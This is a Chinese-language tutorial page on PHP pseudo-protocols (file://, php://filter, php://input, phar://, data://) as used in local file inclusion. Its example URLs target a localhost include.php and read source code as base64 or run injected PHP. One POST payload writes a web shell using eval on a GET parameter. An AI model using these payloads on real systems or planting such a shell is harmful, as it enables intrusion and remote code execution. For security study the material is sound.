PHP支持的伪协议

1

2

3

4

1、file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2、[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

1

[http：//网络路径和文件名]http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php://input

可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype="multipart/form-data" 的时候php://input 是无效的。

php://output

只写的数据流，允许以 print 和 echo 一样的方式写入到输出缓冲区。

php://fd

(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。

php://memory php://temp

(>=5.1.0)一个类似文件包装器的数据流，允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中，而 php://temp 会在内存量达到预定义的限制后（默认是 2MB）存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://filter

(>=5.0.0)一种元封装器，设计用于数据流打开时的筛选过滤应用。对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。

参数                                                                        描述

resource=<要过滤的数据流>

必须项。它指定了你要筛选过滤的数据流。

read=<读链的过滤器>

该参数可选。可以设定一个或多个过滤器名称，以管道符(|)分隔

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称，以管道符(|)分隔

<; 两个链的过滤器>

任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

string.rot13

等同于str_rot13()，rot13变换

string.toupper

等同于strtoupper()，转大写字母

string.tolower

等同于strtolower()，转小写字母

string.strip_tags

等同于strip_tags()，去除html、PHP语言标签

convert.base64-encode & convert.base64-decode

等同于base64_encode()和base64_decode()，base64编码解码

convert.quoted-printable-encode & convert.quoted-printable-decode

quoted-printable 字符串与 8-bit 字符串编码解码

zlib.deflate & zlib.inflate

在本地文件系统中创建 gzip 兼容文件的方法，但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

bzip2.compress & bzip2.decompress

同上，在本地文件系统中创建 bz2 兼容文件的方法。

mcrypt.*

libmcrypt 对称加密算法

mdecrypt.*

libmcrypt 对称解密算法

1

2

php://filter/read=convert.base64-encode/resource=[文件名]

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

1

2

3

4

php://input + [POST DATA]

http://127.0.0.1/include.php?file=php://input

[POST DATA部分]

<?php phpinfo(); ?>

1

2

3

http://127.0.0.1/include.php?file=php://input

[POST DATA部分]

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

1

phar://http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

1

2

3

4

5

1、data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2、data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b